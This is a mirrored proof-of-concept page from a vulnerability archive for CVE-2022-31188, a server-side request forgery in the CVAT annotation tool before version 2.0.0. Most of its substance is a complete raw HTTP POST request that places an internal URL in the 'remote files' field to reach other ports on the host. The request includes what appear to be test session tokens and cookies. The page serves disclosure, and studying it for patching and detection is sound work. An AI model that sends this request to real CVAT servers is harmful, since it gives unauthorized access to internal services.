Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-31188 PoC — CVAT 代码问题漏洞

Source
Associated Vulnerability
Title:CVAT 代码问题漏洞 (CVE-2022-31188)
Description:CVAT是一种用于计算机视觉的交互式视频和图像注释工具。 CVAT 2.0.0之前版本存在代码问题漏洞,该漏洞源于代码路径中使用的 url 没有添加验证。
Description
CVE-2022-31188 - OpenCV CVAT (Computer Vision Annotation Tool) SSRF
Readme
# CVE-2022-31188
CVE-2022-31188 - OpenCV CVAT (Computer Vision Annotation Tool) SSRF

CVAT is an open source Computer Vision Annotation Tool developed by Intel. 
Any user with "Task Create" authorization can trigger the SSRF vulnerability by sending a malicious HTTP request and gaining access to other open ports on the system. 

The vulnerability was fixed with the 2.0.0 update of CVAT.

```http
POST /api/v1/tasks/2/data HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language:en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Token 06d88f739a10c7533991d8010761df721b790b7
X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGV
Content-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436
Content-Length: 569
Origin: http://localhost:8080
Connection: close
Referer:http://localhost:8080/tasks/create
Cookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dned
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="remote files[0]"

http://localhost:8081
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name=" image quality"

170
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use zip chunks"

true
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use cache"

true
-----------------------------251652214142138553464236533436--
```

----------------------------------------------------------------------------------------------------

## References
- https://nvd.nist.gov/vuln/detail/CVE-2022-31188
- https://github.com/opencv/cvat/security/advisories/GHSA-69qq-p6vh-xjqj

----------------------------------------------------------------------------------------------------
Author: Emir Polat

Twitter: https://twitter.com/devilsgrins
File Snapshot

[4.0K] /data/pocs/412949b7925a88557e05eaeb5e8a70a13bdd9c1e └── [2.1K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.